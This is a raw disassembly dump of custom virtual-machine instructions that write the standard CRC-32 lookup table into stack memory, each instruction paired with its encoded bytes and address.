2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,112,2,98,221,29,2230x0cd8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x174), 0x15da2d49 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,116,2,21,218,45,730x0cee mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x178), 0x8cd37cf3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,120,2,140,211,124,2430x0d04 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x17c), 0xfbd44c65 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,124,2,251,212,76,1010x0d1a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x180), 0x4db26158 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,128,2,77,178,97,880x0d30 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x184), 0x3ab551ce 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,132,2,58,181,81,2060x0d46 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x188), 0xa3bc0074 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,136,2,163,188,0,1160x0d5c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x18c), 0xd4bb30e2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,140,2,212,187,48,2260x0d72 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x190), 0x4adfa541 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,144,2,74,223,165,650x0d88 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x194), 0x3dd895d7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,148,2,61,216,149,2150x0d9e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x198), 0xa4d1c46d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,152,2,164,209,196,1090x0db4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x19c), 0xd3d6f4fb 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,156,2,211,214,244,2510x0dca mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1a0), 0x4369e96a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,160,2,67,105,233,1060x0de0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1a4), 0x346ed9fc 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,164,2,52,110,217,2520x0df6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1a8), 0xad678846 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,168,2,173,103,136,700x0e0c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1ac), 0xda60b8d0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,172,2,218,96,184,2080x0e22 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1b0), 0x44042d73 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,176,2,68,4,45,1150x0e38 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1b4), 0x33031de5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,180,2,51,3,29,2290x0e4e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1b8), 0xaa0a4c5f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,184,2,170,10,76,950x0e64 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1bc), 0xdd0d7cc9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,188,2,221,13,124,2010x0e7a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1c0), 0x5005713c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,192,2,80,5,113,600x0e90 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1c4), 0x270241aa 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,196,2,39,2,65,1700x0ea6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1c8), 0xbe0b1010 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,200,2,190,11,16,160x0ebc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1cc), 0xc90c2086 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,204,2,201,12,32,1340x0ed2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1d0), 0x5768b525 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,208,2,87,104,181,370x0ee8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1d4), 0x206f85b3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,212,2,32,111,133,1790x0efe mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1d8), 0xb966d409 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,216,2,185,102,212,90x0f14 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1dc), 0xce61e49f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,220,2,206,97,228,1590x0f2a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1e0), 0x5edef90e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,224,2,94,222,249,140x0f40 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1e4), 0x29d9c998 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,228,2,41,217,201,1520x0f56 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1e8), 0xb0d09822 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,232,2,176,208,152,340x0f6c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1ec), 0xc7d7a8b4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,236,2,199,215,168,1800x0f82 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1f0), 0x59b33d17 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,240,2,89,179,61,230x0f98 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1f4), 0x2eb40d81 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,244,2,46,180,13,1290x0fae mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1f8), 0xb7bd5c3b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,248,2,183,189,92,590x0fc4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1fc), 0xc0ba6cad 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,252,2,192,186,108,1730x0fda mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x200), 0xedb88320 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,0,2,237,184,131,320x0ff0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x204), 0x9abfb3b6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,4,2,154,191,179,1820x1006 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x208), 0x3b6e20c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,8,2,3,182,226,120x101c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x20c), 0x74b1d29a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,12,2,116,177,210,1540x1032 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x210), 0xead54739 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,16,2,234,213,71,570x1048 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x214), 0x9dd277af 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,20,2,157,210,119,1750x105e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x218), 0x4db2615 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,24,2,4,219,38,210x1074 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x21c), 0x73dc1683 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,28,2,115,220,22,1310x108a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x220), 0xe3630b12 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,32,2,227,99,11,180x10a0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x224), 0x94643b84 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,36,2,148,100,59,1320x10b6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x228), 0xd6d6a3e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,40,2,13,109,106,620x10cc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x22c), 0x7a6a5aa8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,44,2,122,106,90,1680x10e2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x230), 0xe40ecf0b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,48,2,228,14,207,110x10f8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x234), 0x9309ff9d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,52,2,147,9,255,1570x110e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x238), 0xa00ae27 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,56,2,10,0,174,390x1124 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x23c), 0x7d079eb1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,60,2,125,7,158,1770x113a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x240), 0xf00f9344 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,64,2,240,15,147,680x1150 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x244), 0x8708a3d2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,68,2,135,8,163,2100x1166 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x248), 0x1e01f268 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,72,2,30,1,242,1040x117c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x24c), 0x6906c2fe 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,76,2,105,6,194,2540x1192 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x250), 0xf762575d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,80,2,247,98,87,930x11a8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x254), 0x806567cb 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,84,2,128,101,103,2030x11be mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x258), 0x196c3671 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,88,2,25,108,54,1130x11d4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x25c), 0x6e6b06e7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,92,2,110,107,6,2310x11ea mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x260), 0xfed41b76 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,96,2,254,212,27,1180x1200 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x264), 0x89d32be0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,100,2,137,211,43,2240x1216 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x268), 0x10da7a5a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,104,2,16,218,122,900x122c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x26c), 0x67dd4acc 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,108,2,103,221,74,2040x1242 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x270), 0xf9b9df6f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,112,2,249,185,223,1110x1258 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x274), 0x8ebeeff9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,116,2,142,190,239,2490x126e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x278), 0x17b7be43 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,120,2,23,183,190,670x1284 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x27c), 0x60b08ed5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,124,2,96,176,142,2130x129a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x280), 0xd6d6a3e8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,128,2,214,214,163,2320x12b0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x284), 0xa1d1937e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,132,2,161,209,147,1260x12c6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x288), 0x38d8c2c4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,136,2,56,216,194,1960x12dc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x28c), 0x4fdff252 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,140,2,79,223,242,820x12f2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x290), 0xd1bb67f1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,144,2,209,187,103,2410x1308 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x294), 0xa6bc5767 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,148,2,166,188,87,1030x131e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x298), 0x3fb506dd 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,152,2,63,181,6,2210x1334 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x29c), 0x48b2364b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,156,2,72,178,54,750x134a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2a0), 0xd80d2bda 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,160,2,216,13,43,2180x1360 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2a4), 0xaf0a1b4c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,164,2,175,10,27,760x1376 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2a8), 0x36034af6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,168,2,54,3,74,2460x138c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2ac), 0x41047a60 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,172,2,65,4,122,960x13a2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2b0), 0xdf60efc3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,176,2,223,96,239,1950x13b8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2b4), 0xa867df55 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,180,2,168,103,223,850x13ce mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2b8), 0x316e8eef 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,184,2,49,110,142,2390x13e4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2bc), 0x4669be79 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,188,2,70,105,190,1210x13fa mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2c0), 0xcb61b38c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,192,2,203,97,179,1400x1410 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2c4), 0xbc66831a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,196,2,188,102,131,260x1426 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2c8), 0x256fd2a0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,200,2,37,111,210,1600x143c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2cc), 0x5268e236 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,204,2,82,104,226,540x1452 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2d0), 0xcc0c7795 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,208,2,204,12,119,1490x1468 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2d4), 0xbb0b4703 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,212,2,187,11,71,30x147e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2d8), 0x220216b9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,216,2,34,2,22,1850x1494 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2dc), 0x5505262f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,220,2,85,5,38,470x14aa mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2e0), 0xc5ba3bbe 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,224,2,197,186,59,1900x14c0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2e4), 0xb2bd0b28 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,228,2,178,189,11,400x14d6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2e8), 0x2bb45a92 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,232,2,43,180,90,1460x14ec mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2ec), 0x5cb36a04 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,236,2,92,179,106,40x1502 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2f0), 0xc2d7ffa7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,240,2,194,215,255,1670x1518 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2f4), 0xb5d0cf31 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,244,2,181,208,207,490x152e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2f8), 0x2cd99e8b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,248,2,44,217,158,1390x1544 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2fc), 0x5bdeae1d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,2,252,2,91,222,174,290x155a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x300), 0x9b64c2b0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,0,2,155,100,194,1760x1570 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x304), 0xec63f226 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,4,2,236,99,242,380x1586 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x308), 0x756aa39c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,8,2,117,106,163,1560x159c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x30c), 0x26d930a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,12,2,2,109,147,100x15b2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x310), 0x9c0906a9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,16,2,156,9,6,1690x15c8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x314), 0xeb0e363f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,20,2,235,14,54,630x15de mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x318), 0x72076785 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,24,2,114,7,103,1330x15f4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x31c), 0x5005713 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,28,2,5,0,87,190x160a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x320), 0x95bf4a82 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,32,2,149,191,74,1300x1620 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x324), 0xe2b87a14 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,36,2,226,184,122,200x1636 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x328), 0x7bb12bae 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,40,2,123,177,43,1740x164c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x32c), 0xcb61b38 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,44,2,12,182,27,560x1662 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x330), 0x92d28e9b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,48,2,146,210,142,1550x1678 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x334), 0xe5d5be0d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,52,2,229,213,190,130x168e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x338), 0x7cdcefb7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,56,2,124,220,239,1830x16a4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x33c), 0xbdbdf21 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,60,2,11,219,223,330x16ba mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x340), 0x86d3d2d4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,64,2,134,211,210,2120x16d0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x344), 0xf1d4e242 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,68,2,241,212,226,660x16e6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x348), 0x68ddb3f8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,72,2,104,221,179,2480x16fc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x34c), 0x1fda836e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,76,2,31,218,131,1100x1712 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x350), 0x81be16cd 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,80,2,129,190,22,2050x1728 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x354), 0xf6b9265b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,84,2,246,185,38,910x173e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x358), 0x6fb077e1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,88,2,111,176,119,2250x1754 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x35c), 0x18b74777 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,92,2,24,183,71,1190x176a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x360), 0x88085ae6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,96,2,136,8,90,2300x1780 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x364), 0xff0f6a70 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,100,2,255,15,106,1120x1796 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x368), 0x66063bca 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,104,2,102,6,59,2020x17ac mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x36c), 0x11010b5c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,108,2,17,1,11,920x17c2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x370), 0x8f659eff 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,112,2,143,101,158,2550x17d8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x374), 0xf862ae69 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,116,2,248,98,174,1050x17ee mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x378), 0x616bffd3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,120,2,97,107,255,2110x1804 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x37c), 0x166ccf45 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,124,2,22,108,207,690x181a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x380), 0xa00ae278 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,128,2,160,10,226,1200x1830 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x384), 0xd70dd2ee 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,132,2,215,13,210,2380x1846 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x388), 0x4e048354 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,136,2,78,4,131,840x185c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x38c), 0x3903b3c2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,140,2,57,3,179,1940x1872 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x390), 0xa7672661 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,144,2,167,103,38,970x1888 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x394), 0xd06016f7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,148,2,208,96,22,2470x189e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x398), 0x4969474d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,152,2,73,105,71,770x18b4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x39c), 0x3e6e77db 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,156,2,62,110,119,2190x18ca mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3a0), 0xaed16a4a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,160,2,174,209,106,740x18e0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3a4), 0xd9d65adc 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,164,2,217,214,90,2200x18f6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3a8), 0x40df0b66 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,168,2,64,223,11,1020x190c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3ac), 0x37d83bf0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,172,2,55,216,59,2400x1922 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3b0), 0xa9bcae53 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,176,2,169,188,174,830x1938 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3b4), 0xdebb9ec5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,180,2,222,187,158,1970x194e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3b8), 0x47b2cf7f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,184,2,71,178,207,1270x1964 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3bc), 0x30b5ffe9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,188,2,48,181,255,2330x197a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3c0), 0xbdbdf21c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,192,2,189,189,242,280x1990 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3c4), 0xcabac28a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,196,2,202,186,194,1380x19a6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3c8), 0x53b39330 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,200,2,83,179,147,480x19bc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3cc), 0x24b4a3a6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,204,2,36,180,163,1660x19d2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3d0), 0xbad03605 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,208,2,186,208,54,50x19e8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3d4), 0xcdd70693 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,212,2,205,215,6,1470x19fe mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3d8), 0x54de5729 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,216,2,84,222,87,410x1a14 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3dc), 0x23d967bf 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,220,2,35,217,103,1910x1a2a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3e0), 0xb3667a2e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,224,2,179,102,122,460x1a40 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3e4), 0xc4614ab8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,228,2,196,97,74,1840x1a56 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3e8), 0x5d681b02 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,232,2,93,104,27,20x1a6c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3ec), 0x2a6f2b94 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,236,2,42,111,43,1480x1a82 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3f0), 0xb40bbe37 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,240,2,180,11,190,550x1a98 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3f4), 0xc30c8ea1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,244,2,195,12,142,1610x1aae mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3f8), 0x5a05df1b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,248,2,90,5,223,270x1ac4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3fc), 0x2d02ef8d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,3,252,2,45,2,239,1410x1ada mov Register(0, 4, 1), *Int32(0xc, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,12,1,20,4,10x1aea mov *Int32(0xfffffffc, Register(20, 4, 1)), Register(0, 4, 1) 2,4,2,2,255,255,255,252,1,20,4,1,1,0,4,10x1afa mov Register(4, 4, 1), *Int32(0x8, Register(20, 4, 1)) 